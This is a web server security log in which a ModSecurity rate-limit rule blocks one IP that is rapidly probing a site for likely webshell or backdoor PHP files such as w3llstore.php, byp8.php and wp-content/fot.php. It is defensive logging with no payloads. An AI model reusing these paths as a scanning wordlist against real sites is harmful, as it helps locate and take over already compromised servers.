[Sun Mar 01 17:19:46.323895 2026] [:error] [pid 7133:tid 7144] [client 20.151.2.242:63127] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aaQEsvCtubh8pR64qB_n4gAAAEk"]
[Sun Mar 01 17:19:46.758333 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:63122] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aaQEsgfBuk03yQKDyqsgWwAAAdY"]
[Sun Mar 01 17:19:47.236725 2026] [:error] [pid 40750:tid 40765] [client 20.151.2.242:63117] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aaQEswfBuk03yQKDyqsgYgAAAcw"]
[Sun Mar 01 17:19:47.678161 2026] [:error] [pid 38034:tid 38051] [client 20.151.2.242:62472] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQEswxtfZjwlJok9K_lwAAAAQ0"]
[Sun Mar 01 17:19:48.130089 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:62795] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQEtAfBuk03yQKDyqsgaQAAAcQ"]
[Sun Mar 01 17:19:48.564258 2026] [:error] [pid 40750:tid 40753] [client 20.151.2.242:61041] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQEtAfBuk03yQKDyqsgbAAAAcA"]
[Sun Mar 01 17:19:48.976622 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:60565] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaQEtAfBuk03yQKDyqsgbwAAAcY"]
[Sun Mar 01 17:19:49.467486 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62547] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aaQEtQfBuk03yQKDyqsgeQAAAdg"]
[Sun Mar 01 17:19:49.973524 2026] [:error] [pid 7133:tid 7139] [client 20.151.2.242:62827] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aaQEtfCtubh8pR64qB_n6gAAAEQ"]
[Sun Mar 01 17:19:50.402837 2026] [:error] [pid 7133:tid 7157] [client 20.151.2.242:62551] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aaQEtvCtubh8pR64qB_n7gAAAFY"]
[Sun Mar 01 17:19:50.824029 2026] [:error] [pid 7133:tid 7158] [client 20.151.2.242:60577] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/10.php"] [unique_id "aaQEtvCtubh8pR64qB_n8QAAAFc"]
[Sun Mar 01 17:19:51.248149 2026] [:error] [pid 37032:tid 37057] [client 20.151.2.242:62764] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aaQEt-u0U4o7eSImsVRevQAAAZc"]
[Sun Mar 01 17:19:51.679177 2026] [:error] [pid 38034:tid 38043] [client 20.151.2.242:62565] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aaQEtwxtfZjwlJok9K_lwwAAAQU"]
[Sun Mar 01 17:19:52.109513 2026] [:error] [pid 38034:tid 38038] [client 20.151.2.242:63107] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aaQEuAxtfZjwlJok9K_lxQAAAQI"]
[Sun Mar 01 17:19:52.516470 2026] [:error] [pid 41342:tid 41353] [client 20.151.2.242:61061] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aaQEuI4iJ6RAS5CatDlRNwAAAgg"]
[Sun Mar 01 17:19:52.987465 2026] [:error] [pid 44644:tid 44669] [client 20.151.2.242:63151] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aaQEuJ3RJaXMcw3y9V_DeAAAABY"]
[Sun Mar 01 17:19:53.411077 2026] [:error] [pid 7133:tid 7141] [client 20.151.2.242:61037] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aaQEufCtubh8pR64qB_n-wAAAEY"]
[Sun Mar 01 17:19:53.882419 2026] [:error] [pid 7133:tid 7136] [client 20.151.2.242:61119] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aaQEufCtubh8pR64qB_oAAAAAEE"]
[Sun Mar 01 17:19:54.314176 2026] [:error] [pid 41780:tid 41802] [client 20.151.2.242:61105] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kaduu.php"] [unique_id "aaQEusONkVoocLIqzy0Z4AAAA9M"]
[Sun Mar 01 17:19:54.820809 2026] [:error] [pid 38241:tid 38244] [client 20.151.2.242:63229] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rdf.php"] [unique_id "aaQEuvKRPk6YnJBxw_yQnwAAAMA"]
[Sun Mar 01 17:19:55.284254 2026] [:error] [pid 38241:tid 38266] [client 20.151.2.242:62833] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rdf.php"] [unique_id "aaQEu_KRPk6YnJBxw_yQpQAAANY"]
[Sun Mar 01 17:19:55.735474 2026] [:error] [pid 38241:tid 38259] [client 20.151.2.242:62767] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rdf.php"] [unique_id "aaQEu_KRPk6YnJBxw_yQqgAAAM8"]
[Sun Mar 01 17:19:56.203583 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:62749] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rdf.php"] [unique_id "aaQEvAfBuk03yQKDyqsgkQAAAck"]
[Sun Mar 01 17:19:56.762114 2026] [:error] [pid 38241:tid 38261] [client 20.151.2.242:61118] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/fot.php"] [unique_id "aaQEvPKRPk6YnJBxw_yQrgAAANE"]
[Sun Mar 01 17:19:57.219584 2026] [:error] [pid 7133:tid 7157] [client 20.151.2.242:61049] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/fot.php"] [unique_id "aaQEvfCtubh8pR64qB_oDwAAAFY"]
[Sun Mar 01 17:19:57.671651 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:62576] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/fot.php"] [unique_id "aaQEvQfBuk03yQKDyqsgnQAAAdA"]
[Sun Mar 01 17:19:58.214620 2026] [:error] [pid 7165:tid 7173] [client 20.151.2.242:62523] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/fot.php"] [unique_id "aaQEvhRjCrA8qWBjgG91dQAAAkY"]
[Sun Mar 01 17:19:58.705042 2026] [:error] [pid 7165:tid 7183] [client 20.151.2.242:62515] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yaiid.php"] [unique_id "aaQEvhRjCrA8qWBjgG91ewAAAlA"]
[Sun Mar 01 17:19:59.186247 2026] [:error] [pid 41342:tid 41362] [client 20.151.2.242:63199] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yaiid.php"] [unique_id "aaQEv44iJ6RAS5CatDlROgAAAhE"]
[Sun Mar 01 17:19:59.732631 2026] [:error] [pid 7165:tid 7187] [client 20.151.2.242:63166] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yaiid.php"] [unique_id "aaQEvxRjCrA8qWBjgG91ggAAAlQ"]
[Sun Mar 01 17:20:00.206804 2026] [:error] [pid 7165:tid 7188] [client 20.151.2.242:62507] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yaiid.php"] [unique_id "aaQEwBRjCrA8qWBjgG91iAAAAlU"]
[Sun Mar 01 17:20:00.991575 2026] [:error] [pid 40750:tid 40755] [client 20.151.2.242:62506] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aaQEwAfBuk03yQKDyqsgxgAAAcI"]
[Sun Mar 01 17:20:01.510249 2026] [:error] [pid 33822:tid 33844] [client 20.151.2.242:62481] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aaQEwW6W3ygu1YVssubeLAAAApQ"]
[Sun Mar 01 17:20:02.017707 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:62484] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aaQEwgfBuk03yQKDyqsg0AAAAdU"]
[Sun Mar 01 17:20:02.591751 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:62808] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aaQEwgfBuk03yQKDyqsg2wAAAdc"]
[Sun Mar 01 17:20:03.058019 2026] [:error] [pid 40750:tid 40777] [client 20.151.2.242:62837] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x12.php"] [unique_id "aaQEwwfBuk03yQKDyqsg5QAAAdg"]
[Sun Mar 01 17:20:03.535906 2026] [:error] [pid 40750:tid 40775] [client 20.151.2.242:62522] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x12.php"] [unique_id "aaQEwwfBuk03yQKDyqsg6wAAAdY"]
[Sun Mar 01 17:20:03.967610 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:62798] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x12.php"] [unique_id "aaQEwwfBuk03yQKDyqsg8gAAAcQ"]
[Sun Mar 01 17:20:04.448164 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:62534] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x12.php"] [unique_id "aaQExAfBuk03yQKDyqsg-wAAAco"]
[Sun Mar 01 17:20:04.919901 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:62531] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aaQExBRjCrA8qWBjgG91rAAAAkw"]
[Sun Mar 01 17:20:05.347299 2026] [:error] [pid 7133:tid 7138] [client 20.151.2.242:61097] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aaQExfCtubh8pR64qB_oFwAAAEM"]
[Sun Mar 01 17:20:05.955263 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:62760] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aaQExRRjCrA8qWBjgG91uwAAAkk"]
[Sun Mar 01 17:20:06.450199 2026] [:error] [pid 40750:tid 40766] [client 20.151.2.242:62522] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aaQExgfBuk03yQKDyqshCAAAAc0"]
[Sun Mar 01 17:20:06.872523 2026] [:error] [pid 40750:tid 40771] [client 20.151.2.242:62777] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aaQExgfBuk03yQKDyqshCgAAAdI"]
[Sun Mar 01 17:20:07.288805 2026] [:error] [pid 7133:tid 7155] [client 20.151.2.242:62528] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aaQEx_Ctubh8pR64qB_oIAAAAFQ"]
[Sun Mar 01 17:20:07.722029 2026] [:error] [pid 40750:tid 40757] [client 20.151.2.242:63120] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aaQExwfBuk03yQKDyqshDQAAAcQ"]
[Sun Mar 01 17:20:08.142342 2026] [:error] [pid 40750:tid 40767] [client 20.151.2.242:61003] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "aaQEyAfBuk03yQKDyqshEAAAAc4"]
[Sun Mar 01 17:20:08.604033 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:63149] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8o82nc.php"] [unique_id "aaQEyAfBuk03yQKDyqshFQAAAdc"]
[Sun Mar 01 17:20:09.022765 2026] [:error] [pid 40750:tid 40772] [client 20.151.2.242:62581] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8o82nc.php"] [unique_id "aaQEyQfBuk03yQKDyqshHQAAAdM"]
[Sun Mar 01 17:20:09.431267 2026] [:error] [pid 7165:tid 7188] [client 20.151.2.242:62480] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8o82nc.php"] [unique_id "aaQEyRRjCrA8qWBjgG913QAAAlU"]
[Sun Mar 01 17:20:09.838896 2026] [:error] [pid 7133:tid 7151] [client 20.151.2.242:62815] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8o82nc.php"] [unique_id "aaQEyfCtubh8pR64qB_oJQAAAFA"]
[Sun Mar 01 17:20:10.251058 2026] [:error] [pid 40750:tid 40758] [client 20.151.2.242:62483] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaQEygfBuk03yQKDyqshKQAAAcU"]
[Sun Mar 01 17:20:10.663588 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:62829] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaQEygfBuk03yQKDyqshNgAAAdA"]
[Sun Mar 01 17:20:11.092099 2026] [:error] [pid 40750:tid 40761] [client 20.151.2.242:62753] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaQEywfBuk03yQKDyqshPgAAAcg"]
[Sun Mar 01 17:20:11.540291 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:63209] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp8.php"] [unique_id "aaQEywfBuk03yQKDyqshSgAAAcs"]
[Sun Mar 01 17:20:11.972746 2026] [:error] [pid 40750:tid 40762] [client 20.151.2.242:62724] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/opotv.php"] [unique_id "aaQEywfBuk03yQKDyqshUQAAAck"]
